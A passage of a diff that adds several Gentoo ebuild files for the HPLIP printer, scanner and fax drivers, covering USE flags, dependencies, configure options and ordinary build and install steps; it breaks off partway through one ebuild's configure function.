+PYTHON_REQ_USE="threads,xml"
+
+inherit eutils fdo-mime linux-info python-single-r1 udev autotools toolchain-funcs
+
+DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools."
+HOMEPAGE="http://hplipopensource.com/hplip-web/index.html"
+SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz
+		http://dev.gentoo.org/~billie/distfiles/${PN}-3.12.10-patches-1.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~ppc64 ~x86"
+
+# zeroconf does not work properly with >=cups-1.4.
+# Thus support for it is also disabled in hplip.
+IUSE="+autostart doc fax +hpcups hpijs kde libnotify libusb0 minimal parport policykit qt4 scanner snmp static-ppds X"
+
+# TODO: check if net-print/cups, sys-apps/dbus, net-analyzer/net-snmp
+# and dev-python/notify-python are migrated to python-r1
+
+COMMON_DEPEND="
+	virtual/jpeg
+	hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] )
+	!minimal? (
+		${PYTHON_DEPS}
+		>=net-print/cups-1.4.0
+		!libusb0? ( virtual/libusb:1 )
+		libusb0? ( virtual/libusb:0 )
+		scanner? ( >=media-gfx/sane-backends-1.0.19-r1 )
+		fax? ( sys-apps/dbus )
+		snmp? (
+			net-analyzer/net-snmp
+			dev-libs/openssl:0
+		)
+	)"
+
+DEPEND="${COMMON_DEPEND}
+	virtual/pkgconfig"
+
+RDEPEND="${COMMON_DEPEND}
+	>=app-text/ghostscript-gpl-8.71-r3
+	>=dev-python/dbus-python-1.1.1-r1[${PYTHON_USEDEP}]
+	policykit? (
+		sys-auth/polkit
+	)
+	!minimal? (
+		>=dev-python/pygobject-2.28.6-r53:2[${PYTHON_USEDEP}]
+		kernel_linux? ( virtual/udev !<sys-fs/udev-114 )
+		scanner? (
+			>=dev-python/reportlab-2.6[${PYTHON_USEDEP}]
+			>=dev-python/imaging-1.1.7-r2[${PYTHON_USEDEP}]
+			X? ( || (
+				kde? ( kde-misc/skanlite )
+				media-gfx/xsane
+				media-gfx/sane-frontends
+			) )
+		)
+		fax? (
+			>=dev-python/reportlab-2.6[${PYTHON_USEDEP}]
+			>=dev-python/dbus-python-1.1.1-r1[${PYTHON_USEDEP}]
+		)
+		qt4? (
+			>=dev-python/PyQt4-4.9.6-r2[dbus,X,${PYTHON_USEDEP}]
+			libnotify? (
+				dev-python/notify-python
+			)
+		)
+	)"
+
+CONFIG_CHECK="~PARPORT ~PPDEV"
+ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)."
+
+pkg_setup() {
+	use !minimal && python-single-r1_pkg_setup
+
+	! use qt4 && ewarn "You need USE=qt4 for the hplip GUI."
+
+	use scanner && ! use X && ewarn "You need USE=X for the scanner GUI."
+
+	if ! use hpcups && ! use hpijs ; then
+		ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver,"
+		ewarn "which is probably not what you want."
+		ewarn "You will almost certainly not be able to print."
+	fi
+
+	if use minimal ; then
+		ewarn "Installing driver portions only, make sure you know what you are doing."
+		ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver"
+		ewarn "is installed. If both USE flags are set hpijs overrides hpcups."
+	else
+		use parport && linux-info_pkg_setup
+	fi
+}
+
+src_prepare() {
+	if use !minimal ; then
+		python_export EPYTHON PYTHON
+		python_fix_shebang .
+	fi
+
+	EPATCH_SUFFIX="patch" \
+	EPATCH_FORCE="yes" \
+	epatch "${WORKDIR}"
+
+	# Make desktop files follow the specification
+	# Gentoo bug: https://bugs.gentoo.org/show_bug.cgi?id=443680
+	# Upstream bug: https://bugs.launchpad.net/hplip/+bug/1080324
+	sed -i -e '/^Categories=/s/Application;//' \
+		-e '/^Encoding=.*/d' hplip.desktop.in || die
+	sed -i -e '/^Categories=/s/Application;//' \
+		-e '/^Version=.*/d' \
+		-e '/^Comment=.*/d' hplip-systray.desktop.in || die
+
+	# Fix for Gentoo bug https://bugs.gentoo.org/show_bug.cgi?id=345725
+	# Upstream bug: https://bugs.launchpad.net/hplip/+bug/880847,
+	# https://bugs.launchpad.net/hplip/+bug/500086
+	local udevdir="$(udev_get_udevdir)"
+	sed -i -e "s|/etc/udev|${udevdir}|g" \
+		$(find . -type f -exec grep -l /etc/udev {} +) || die
+
+	# Force recognition of Gentoo distro by hp-check
+	sed -i \
+		-e "s:file('/etc/issue', 'r').read():'Gentoo':" \
+		installer/core_install.py || die
+
+	# Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip
+	# The hpcups driver does not use foomatic-rip
+	local i
+	for i in ppd/hpijs/*.ppd.gz ; do
+		rm -f ${i}.temp || die
+		gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \
+			gzip > ${i}.temp || die
+		mv ${i}.temp ${i} || die
+	done
+
+	eautoreconf
+}
+
+src_configure() {
+	local myconf drv_build minimal_build
+
+	if use fax || use qt4 ; then
+		myconf="${myconf} --enable-dbus-build"
+	else
+		myconf="${myconf} --disable-dbus-build"
+	fi
+
+	if use libusb0 ; then
+		myconf="${myconf} --enable-libusb01_build"
+	else
+		myconf="${myconf} --disable-libusb01_build"
+	fi
+
+	if use hpcups ; then
+		drv_build="$(use_enable hpcups hpcups-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-cups-ppd-install"
+			drv_build="${drv_build} --disable-cups-drv-install"
+		else
+			drv_build="${drv_build} --enable-cups-drv-install"
+			drv_build="${drv_build} --disable-cups-ppd-install"
+		fi
+	else
+		drv_build="--disable-hpcups-install"
+		drv_build="${drv_build} --disable-cups-drv-install"
+		drv_build="${drv_build} --disable-cups-ppd-install"
+	fi
+
+	if use hpijs ; then
+		drv_build="${drv_build} $(use_enable hpijs hpijs-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-foomatic-ppd-install"
+			drv_build="${drv_build} --disable-foomatic-drv-install"
+		else
+			drv_build="${drv_build} --enable-foomatic-drv-install"
+			drv_build="${drv_build} --disable-foomatic-ppd-install"
+		fi
+	else
+		drv_build="${drv_build} --disable-hpijs-install"
+		drv_build="${drv_build} --disable-foomatic-drv-install"
+		drv_build="${drv_build} --disable-foomatic-ppd-install"
+	fi
+
+	if use minimal ; then
+		if use hpijs ; then
+			minimal_build="--enable-hpijs-only-build"
+		else
+			minimal_build="--disable-hpijs-only-build"
+		fi
+		if use hpcups ; then
+			minimal_build="${minimal_build} --enable-hpcups-only-build"
+		else
+			minimal_build="${minimal_build} --disable-hpcups-only-build"
+		fi
+	fi
+
+	econf \
+		--disable-cups11-build \
+		--disable-lite-build \
+		--disable-foomatic-rip-hplip-install \
+		--disable-shadow-build \
+		--disable-qt3 \
+		--disable-udev_sysfs_rules \
+		--disable-udev-acl-rules \
+		--with-cupsbackenddir=$(cups-config --serverbin)/backend \
+		--with-cupsfilterdir=$(cups-config --serverbin)/filter \
+		--with-docdir=/usr/share/doc/${PF} \
+		--with-htmldir=/usr/share/doc/${PF}/html \
+		${myconf} \
+		${drv_build} \
+		${minimal_build} \
+		$(use_enable doc doc-build) \
+		$(use_enable fax fax-build) \
+		$(use_enable parport pp-build) \
+		$(use_enable scanner scan-build) \
+		$(use_enable snmp network-build) \
+		$(use_enable qt4 gui-build) \
+		$(use_enable qt4) \
+		$(use_enable policykit)
+}
+
+src_install() {
+	default
+
+	# Installed by sane-backends
+	# Gentoo Bug: https://bugs.gentoo.org/show_bug.cgi?id=201023
+	rm -f "${D}"/etc/sane.d/dll.conf || die
+
+	# bug 106035/259763
+	if ! use autostart || ! use qt4 ; then
+		rm -r "${D}"/usr/share/applications "${D}"/etc/xdg
+	fi
+
+	rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die
+	rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die
+
+	# Remove hal fdi files
+	rm -rf "${D}"/usr/share/hal || die
+
+	find "${D}" -name '*.la' -exec rm -rf {} + || die
+
+	if use !minimal ; then
+		python_export EPYTHON PYTHON
+		python_optimize "${D}"/usr/share/hplip
+	fi
+}
+
+pkg_postinst() {
+	if [[ -z "${REPLACING_VERSIONS}" ]]; then
+		elog "For more information on setting up your printer please take"
+		elog "a look at the hplip section of the gentoo printing guide:"
+		elog "http://www.gentoo.org/doc/en/printing-howto.xml"
+		elog
+		elog "Any user who wants to print must be in the lp group."
+	fi
+}
diff --git a/net-print/hplip/hplip-3.12.11.ebuild b/net-print/hplip/hplip-3.12.11.ebuild
new file mode 100644
index 00000000..4ca485c3
--- /dev/null
+++ b/net-print/hplip/hplip-3.12.11.ebuild
@@ -0,0 +1,263 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.11.ebuild,v 1.4 2013/02/09 09:07:31 billie Exp $
+
+EAPI=5
+
+PYTHON_DEPEND="!minimal? 2"
+PYTHON_USE_WITH="threads xml"
+PYTHON_USE_WITH_OPT="!minimal"
+
+inherit eutils fdo-mime linux-info python udev autotools toolchain-funcs
+
+DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools."
+HOMEPAGE="http://hplipopensource.com/hplip-web/index.html"
+SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz
+		http://dev.gentoo.org/~billie/distfiles/${PN}-3.12.10-patches-1.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~ppc64 ~x86"
+
+# zeroconf does not work properly with >=cups-1.4.
+# Thus support for it is also disabled in hplip.
+IUSE="+autostart doc fax +hpcups hpijs kde libnotify libusb0 minimal parport policykit qt4 scanner snmp static-ppds X"
+
+COMMON_DEPEND="
+	virtual/jpeg
+	hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] )
+	!minimal? (
+		>=net-print/cups-1.4.0
+		!libusb0? ( virtual/libusb:1 )
+		libusb0? ( virtual/libusb:0 )
+		scanner? ( >=media-gfx/sane-backends-1.0.19-r1 )
+		fax? ( sys-apps/dbus )
+		snmp? (
+			net-analyzer/net-snmp
+			dev-libs/openssl:0
+		)
+	)"
+
+DEPEND="${COMMON_DEPEND}
+	virtual/pkgconfig"
+
+RDEPEND="${COMMON_DEPEND}
+	>=app-text/ghostscript-gpl-8.71-r3
+	dev-python/dbus-python
+	policykit? (
+		sys-auth/polkit
+	)
+	!minimal? (
+		dev-python/pygobject:2
+		kernel_linux? ( virtual/udev !<sys-fs/udev-114 )
+		scanner? (
+			dev-python/reportlab
+			dev-python/imaging
+			X? ( || (
+				kde? ( kde-misc/skanlite )
+				media-gfx/xsane
+				media-gfx/sane-frontends
+			) )
+		)
+		fax? (
+			dev-python/reportlab
+			dev-python/dbus-python
+		)
+		qt4? (
+			dev-python/PyQt4[dbus,X]
+			libnotify? (
+				dev-python/notify-python
+			)
+		)
+	)"
+
+CONFIG_CHECK="~PARPORT ~PPDEV"
+ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)."
+
+pkg_setup() {
+	if ! use minimal; then
+		python_set_active_version 2
+		python_pkg_setup
+	fi
+
+	! use qt4 && ewarn "You need USE=qt4 for the hplip GUI."
+
+	use scanner && ! use X && ewarn "You need USE=X for the scanner GUI."
+
+	if ! use hpcups && ! use hpijs ; then
+		ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver,"
+		ewarn "which is probably not what you want."
+		ewarn "You will almost certainly not be able to print."
+	fi
+
+	if use minimal ; then
+		ewarn "Installing driver portions only, make sure you know what you are doing."
+		ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver"
+		ewarn "is installed. If both USE flags are set hpijs overrides hpcups."
+	else
+		use parport && linux-info_pkg_setup
+	fi
+}
+
+src_prepare() {
+	use !minimal && python_convert_shebangs -q -r 2 .
+
+	EPATCH_SUFFIX="patch" \
+	EPATCH_FORCE="yes" \
+	epatch "${WORKDIR}"
+
+	# Make desktop files follow the specification
+	# Gentoo bug: https://bugs.gentoo.org/show_bug.cgi?id=443680
+	# Upstream bug: https://bugs.launchpad.net/hplip/+bug/1080324
+	sed -i -e '/^Categories=/s/Application;//' \
+		-e '/^Encoding=.*/d' hplip.desktop.in || die
+	sed -i -e '/^Categories=/s/Application;//' \
+		-e '/^Version=.*/d' \
+		-e '/^Comment=.*/d' hplip-systray.desktop.in || die
+
+	# Fix for Gentoo bug https://bugs.gentoo.org/show_bug.cgi?id=345725
+	# Upstream bug: https://bugs.launchpad.net/hplip/+bug/880847,
+	# https://bugs.launchpad.net/hplip/+bug/500086
+	local udevdir="$(udev_get_udevdir)"
+	sed -i -e "s|/etc/udev|${udevdir}|g" \
+		$(find . -type f -exec grep -l /etc/udev {} +) || die
+
+	# Force recognition of Gentoo distro by hp-check
+	sed -i \
+		-e "s:file('/etc/issue', 'r').read():'Gentoo':" \
+		installer/core_install.py || die
+
+	# Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip
+	# The hpcups driver does not use foomatic-rip
+	local i
+	for i in ppd/hpijs/*.ppd.gz ; do
+		rm -f ${i}.temp || die
+		gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \
+			gzip > ${i}.temp || die
+		mv ${i}.temp ${i} || die
+	done
+
+	eautoreconf
+}
+
+src_configure() {
+	local myconf drv_build minimal_build
+
+	if use fax || use qt4 ; then
+		myconf="${myconf} --enable-dbus-build"
+	else
+		myconf="${myconf} --disable-dbus-build"
+	fi
+
+	if use libusb0 ; then
+		myconf="${myconf} --enable-libusb01_build"
+	else
+		myconf="${myconf} --disable-libusb01_build"
+	fi
+
+	if use hpcups ; then
+		drv_build="$(use_enable hpcups hpcups-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-cups-ppd-install"
+			drv_build="${drv_build} --disable-cups-drv-install"
+		else
+			drv_build="${drv_build} --enable-cups-drv-install"
+			drv_build="${drv_build} --disable-cups-ppd-install"
+		fi
+	else
+		drv_build="--disable-hpcups-install"
+		drv_build="${drv_build} --disable-cups-drv-install"
+		drv_build="${drv_build} --disable-cups-ppd-install"
+	fi
+
+	if use hpijs ; then
+		drv_build="${drv_build} $(use_enable hpijs hpijs-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-foomatic-ppd-install"
+			drv_build="${drv_build} --disable-foomatic-drv-install"
+		else
+			drv_build="${drv_build} --enable-foomatic-drv-install"
+			drv_build="${drv_build} --disable-foomatic-ppd-install"
+		fi
+	else
+		drv_build="${drv_build} --disable-hpijs-install"
+		drv_build="${drv_build} --disable-foomatic-drv-install"
+		drv_build="${drv_build} --disable-foomatic-ppd-install"
+	fi
+
+	if use minimal ; then
+		if use hpijs ; then
+			minimal_build="--enable-hpijs-only-build"
+		else
+			minimal_build="--disable-hpijs-only-build"
+		fi
+		if use hpcups ; then
+			minimal_build="${minimal_build} --enable-hpcups-only-build"
+		else
+			minimal_build="${minimal_build} --disable-hpcups-only-build"
+		fi
+	fi
+
+	econf \
+		--disable-cups11-build \
+		--disable-lite-build \
+		--disable-foomatic-rip-hplip-install \
+		--disable-shadow-build \
+		--disable-qt3 \
+		--disable-udev_sysfs_rules \
+		--disable-udev-acl-rules \
+		--with-cupsbackenddir=$(cups-config --serverbin)/backend \
+		--with-cupsfilterdir=$(cups-config --serverbin)/filter \
+		--with-docdir=/usr/share/doc/${PF} \
+		--with-htmldir=/usr/share/doc/${PF}/html \
+		${myconf} \
+		${drv_build} \
+		${minimal_build} \
+		$(use_enable doc doc-build) \
+		$(use_enable fax fax-build) \
+		$(use_enable parport pp-build) \
+		$(use_enable scanner scan-build) \
+		$(use_enable snmp network-build) \
+		$(use_enable qt4 gui-build) \
+		$(use_enable qt4) \
+		$(use_enable policykit)
+}
+
+src_install() {
+	default
+
+	# Installed by sane-backends
+	# Gentoo Bug: https://bugs.gentoo.org/show_bug.cgi?id=201023
+	rm -f "${D}"/etc/sane.d/dll.conf || die
+
+	# bug 106035/259763
+	if ! use autostart || ! use qt4 ; then
+		rm -r "${D}"/usr/share/applications "${D}"/etc/xdg
+	fi
+
+	rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die
+	rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die
+
+	# Remove hal fdi files
+	rm -rf "${D}"/usr/share/hal || die
+
+	find "${D}" -name '*.la' -exec rm -rf {} + || die
+}
+
+pkg_postinst() {
+	use !minimal && python_mod_optimize /usr/share/${PN}
+	fdo-mime_desktop_database_update
+
+	if [[ -z "${REPLACING_VERSIONS}" ]]; then
+		elog "For more information on setting up your printer please take"
+		elog "a look at the hplip section of the gentoo printing guide:"
+		elog "http://www.gentoo.org/doc/en/printing-howto.xml"
+		elog
+		elog "Any user who wants to print must be in the lp group."
+	fi
+}
+
+pkg_postrm() {
+	use !minimal && python_mod_cleanup /usr/share/${PN}
+	fdo-mime_desktop_database_update
+}
diff --git a/net-print/hplip/hplip-3.12.4.ebuild b/net-print/hplip/hplip-3.12.4.ebuild
new file mode 100644
index 00000000..d538b41a
--- /dev/null
+++ b/net-print/hplip/hplip-3.12.4.ebuild
@@ -0,0 +1,240 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.4.ebuild,v 1.10 2012/10/20 11:54:01 billie Exp $
+
+EAPI=4
+
+PYTHON_DEPEND="!minimal? 2"
+PYTHON_USE_WITH="threads xml"
+PYTHON_USE_WITH_OPT="!minimal"
+
+inherit eutils fdo-mime linux-info python autotools
+
+DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools."
+HOMEPAGE="http://hplipopensource.com/hplip-web/index.html"
+SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz
+		http://dev.gentoo.org/~billie/distfiles/${P}-patches-1.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm ppc ppc64 x86"
+
+# zeroconf does not work properly with >=cups-1.4.
+# Thus support for it is also disabled in hplip.
+IUSE="+autostart doc fax +hpcups hpijs kde libnotify minimal parport policykit qt4 scanner snmp static-ppds X"
+
+COMMON_DEPEND="
+	virtual/jpeg
+	hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] )
+	!minimal? (
+		>=net-print/cups-1.4.0
+		virtual/libusb:0
+		scanner? ( >=media-gfx/sane-backends-1.0.19-r1 )
+		fax? ( sys-apps/dbus )
+		snmp? (
+			net-analyzer/net-snmp
+			dev-libs/openssl
+		)
+	)"
+
+DEPEND="${COMMON_DEPEND}
+	virtual/pkgconfig"
+
+RDEPEND="${COMMON_DEPEND}
+	>=app-text/ghostscript-gpl-8.71-r3
+	policykit? (
+		sys-auth/polkit
+	)
+	!minimal? (
+		dev-python/pygobject:2
+		kernel_linux? ( >=sys-fs/udev-114 )
+		scanner? (
+			dev-python/imaging
+			X? ( || (
+				kde? ( kde-misc/skanlite )
+				media-gfx/xsane
+				media-gfx/sane-frontends
+			) )
+		)
+		fax? (
+			dev-python/reportlab
+			dev-python/dbus-python
+		)
+		qt4? (
+			dev-python/PyQt4[dbus,X]
+			libnotify? (
+				dev-python/notify-python
+			)
+		)
+	)"
+
+CONFIG_CHECK="~PARPORT ~PPDEV"
+ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)."
+
+pkg_setup() {
+	if ! use minimal; then
+		python_set_active_version 2
+		python_pkg_setup
+	fi
+
+	! use qt4 && ewarn "You need USE=qt4 for the hplip GUI."
+
+	use scanner && ! use X && ewarn "You need USE=X for the scanner GUI."
+
+	if ! use hpcups && ! use hpijs ; then
+		ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver,"
+		ewarn "which is probably not what you want."
+		ewarn "You will almost certainly not be able to print."
+	fi
+
+	if use minimal ; then
+		ewarn "Installing driver portions only, make sure you know what you are doing."
+		ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver"
+		ewarn "is installed. If both USE flags are set hpijs overrides hpcups."
+	else
+		use parport && linux-info_pkg_setup
+	fi
+}
+
+src_prepare() {
+	use !minimal && python_convert_shebangs -q -r 2 .
+
+	EPATCH_SUFFIX="patch" \
+	EPATCH_FORCE="yes" \
+	epatch "${WORKDIR}"
+
+	# Fix for Gentoo bug #345725
+	sed -i -e "s|/etc/udev/rules.d|/lib/udev/rules.d|" \
+		$(find ./ -type f -exec grep -l '/etc/udev/rules.d' '{}' '+') \
+		|| die
+
+	# Force recognition of Gentoo distro by hp-check
+	sed -i \
+		-e "s:file('/etc/issue', 'r').read():'Gentoo':" \
+		installer/core_install.py || die
+
+	# Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip
+	# The hpcups driver does not use foomatic-rip
+	local i
+	for i in ppd/hpijs/*.ppd.gz ; do
+		rm -f ${i}.temp || die
+		gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \
+			gzip > ${i}.temp || die
+		mv ${i}.temp ${i} || die
+	done
+
+	eautoreconf
+}
+
+src_configure() {
+	local myconf drv_build minimal_build
+
+	if use fax || use qt4 ; then
+		myconf="${myconf} --enable-dbus-build"
+	else
+		myconf="${myconf} --disable-dbus-build"
+	fi
+
+	if use hpcups ; then
+		drv_build="$(use_enable hpcups hpcups-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-cups-ppd-install"
+			drv_build="${drv_build} --disable-cups-drv-install"
+		else
+			drv_build="${drv_build} --enable-cups-drv-install"
+			drv_build="${drv_build} --disable-cups-ppd-install"
+		fi
+	else
+		drv_build="--disable-hpcups-install"
+		drv_build="${drv_build} --disable-cups-drv-install"
+		drv_build="${drv_build} --disable-cups-ppd-install"
+	fi
+
+	if use hpijs ; then
+		drv_build="${drv_build} $(use_enable hpijs hpijs-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-foomatic-ppd-install"
+			drv_build="${drv_build} --disable-foomatic-drv-install"
+		else
+			drv_build="${drv_build} --enable-foomatic-drv-install"
+			drv_build="${drv_build} --disable-foomatic-ppd-install"
+		fi
+	else
+		drv_build="${drv_build} --disable-hpijs-install"
+		drv_build="${drv_build} --disable-foomatic-drv-install"
+		drv_build="${drv_build} --disable-foomatic-ppd-install"
+	fi
+
+	if use minimal ; then
+		if use hpijs ; then
+			minimal_build="--enable-hpijs-only-build"
+		else
+			minimal_build="--disable-hpijs-only-build"
+		fi
+		if use hpcups ; then
+			minimal_build="${minimal_build} --enable-hpcups-only-build"
+		else
+			minimal_build="${minimal_build} --disable-hpcups-only-build"
+		fi
+	fi
+
+	econf \
+		--disable-cups11-build \
+		--disable-lite-build \
+		--disable-foomatic-rip-hplip-install \
+		--disable-shadow-build \
+		--disable-qt3 \
+		--disable-udev-acl-rules \
+		--with-cupsbackenddir=$(cups-config --serverbin)/backend \
+		--with-cupsfilterdir=$(cups-config --serverbin)/filter \
+		--with-docdir=/usr/share/doc/${PF} \
+		--with-htmldir=/usr/share/doc/${PF}/html \
+		${myconf} \
+		${drv_build} \
+		${minimal_build} \
+		$(use_enable doc doc-build) \
+		$(use_enable fax fax-build) \
+		$(use_enable parport pp-build) \
+		$(use_enable scanner scan-build) \
+		$(use_enable snmp network-build) \
+		$(use_enable qt4 gui-build) \
+		$(use_enable qt4) \
+		$(use_enable policykit)
+}
+
+src_install() {
+	default
+
+	# Installed by sane-backends
+	# Gentoo Bug: #201023
+	rm -f "${D}"/etc/sane.d/dll.conf || die
+
+	# bug 106035/259763
+	if ! use autostart || ! use qt4 ; then
+		rm -r "${D}"/usr/share/applications "${D}"/etc/xdg
+	fi
+
+	rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die
+	rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die
+
+	# Remove hal fdi files
+	rm -rf "${D}"/usr/share/hal || die
+
+	find "${D}" -name '*.la' -exec rm -rf '{}' '+' || die
+}
+
+pkg_postinst() {
+	use !minimal && python_mod_optimize /usr/share/${PN}
+	fdo-mime_desktop_database_update
+
+	elog "For more information on setting up your printer please take"
+	elog "a look at the hplip section of the gentoo printing guide:"
+	elog "http://www.gentoo.org/doc/en/printing-howto.xml"
+	elog
+	elog "Any user who want to print must be in the lp group."
+}
+
+pkg_postrm() {
+	use !minimal && python_mod_cleanup /usr/share/${PN}
+	fdo-mime_desktop_database_update
+}
diff --git a/net-print/hplip/hplip-3.12.9-r1.ebuild b/net-print/hplip/hplip-3.12.9-r1.ebuild
new file mode 100644
index 00000000..f7bde3ae
--- /dev/null
+++ b/net-print/hplip/hplip-3.12.9-r1.ebuild
@@ -0,0 +1,243 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.9-r1.ebuild,v 1.7 2012/12/11 17:01:02 axs Exp $
+
+EAPI=4
+
+PYTHON_DEPEND="!minimal? 2"
+PYTHON_USE_WITH="threads xml"
+PYTHON_USE_WITH_OPT="!minimal"
+
+inherit eutils fdo-mime linux-info python udev autotools toolchain-funcs
+
+DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools."
+HOMEPAGE="http://hplipopensource.com/hplip-web/index.html"
+SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz
+		http://dev.gentoo.org/~billie/distfiles/${P}-patches-2.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm ppc ppc64 x86"
+
+# zeroconf does not work properly with >=cups-1.4.
+# Thus support for it is also disabled in hplip.
+IUSE="+autostart doc fax +hpcups hpijs kde libnotify minimal parport policykit qt4 scanner snmp static-ppds X"
+
+COMMON_DEPEND="
+	virtual/jpeg
+	hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] )
+	!minimal? (
+		>=net-print/cups-1.4.0
+		virtual/libusb:1
+		scanner? ( >=media-gfx/sane-backends-1.0.19-r1 )
+		fax? ( sys-apps/dbus )
+		snmp? (
+			net-analyzer/net-snmp
+			dev-libs/openssl:0
+		)
+	)"
+
+DEPEND="${COMMON_DEPEND}
+	virtual/pkgconfig"
+
+RDEPEND="${COMMON_DEPEND}
+	>=app-text/ghostscript-gpl-8.71-r3
+	dev-python/dbus-python
+	policykit? (
+		sys-auth/polkit
+	)
+	!minimal? (
+		dev-python/pygobject:2
+		kernel_linux? ( virtual/udev !<sys-fs/udev-114 )
+		scanner? (
+			dev-python/imaging
+			X? ( || (
+				kde? ( kde-misc/skanlite )
+				media-gfx/xsane
+				media-gfx/sane-frontends
+			) )
+		)
+		fax? (
+			dev-python/reportlab
+			dev-python/dbus-python
+		)
+		qt4? (
+			dev-python/PyQt4[dbus,X]
+			libnotify? (
+				dev-python/notify-python
+			)
+		)
+	)"
+
+CONFIG_CHECK="~PARPORT ~PPDEV"
+ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)."
+
+pkg_setup() {
+	if ! use minimal; then
+		python_set_active_version 2
+		python_pkg_setup
+	fi
+
+	! use qt4 && ewarn "You need USE=qt4 for the hplip GUI."
+
+	use scanner && ! use X && ewarn "You need USE=X for the scanner GUI."
+
+	if ! use hpcups && ! use hpijs ; then
+		ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver,"
+		ewarn "which is probably not what you want."
+		ewarn "You will almost certainly not be able to print."
+	fi
+
+	if use minimal ; then
+		ewarn "Installing driver portions only, make sure you know what you are doing."
+		ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver"
+		ewarn "is installed. If both USE flags are set hpijs overrides hpcups."
+	else
+		use parport && linux-info_pkg_setup
+	fi
+}
+
+src_prepare() {
+	use !minimal && python_convert_shebangs -q -r 2 .
+
+	EPATCH_SUFFIX="patch" \
+	EPATCH_FORCE="yes" \
+	epatch "${WORKDIR}"
+
+	# Fix for Gentoo bug #345725
+	local udevdir="$(udev_get_udevdir)"
+	sed -i -e "s|/etc/udev|${udevdir}|g" \
+		$(find . -type f -exec grep -l /etc/udev {} +) || die
+
+	# Force recognition of Gentoo distro by hp-check
+	sed -i \
+		-e "s:file('/etc/issue', 'r').read():'Gentoo':" \
+		installer/core_install.py || die
+
+	# Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip
+	# The hpcups driver does not use foomatic-rip
+	local i
+	for i in ppd/hpijs/*.ppd.gz ; do
+		rm -f ${i}.temp || die
+		gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \
+			gzip > ${i}.temp || die
+		mv ${i}.temp ${i} || die
+	done
+
+	eautoreconf
+}
+
+src_configure() {
+	local myconf drv_build minimal_build
+
+	if use fax || use qt4 ; then
+		myconf="${myconf} --enable-dbus-build"
+	else
+		myconf="${myconf} --disable-dbus-build"
+	fi
+
+	if use hpcups ; then
+		drv_build="$(use_enable hpcups hpcups-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-cups-ppd-install"
+			drv_build="${drv_build} --disable-cups-drv-install"
+		else
+			drv_build="${drv_build} --enable-cups-drv-install"
+			drv_build="${drv_build} --disable-cups-ppd-install"
+		fi
+	else
+		drv_build="--disable-hpcups-install"
+		drv_build="${drv_build} --disable-cups-drv-install"
+		drv_build="${drv_build} --disable-cups-ppd-install"
+	fi
+
+	if use hpijs ; then
+		drv_build="${drv_build} $(use_enable hpijs hpijs-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-foomatic-ppd-install"
+			drv_build="${drv_build} --disable-foomatic-drv-install"
+		else
+			drv_build="${drv_build} --enable-foomatic-drv-install"
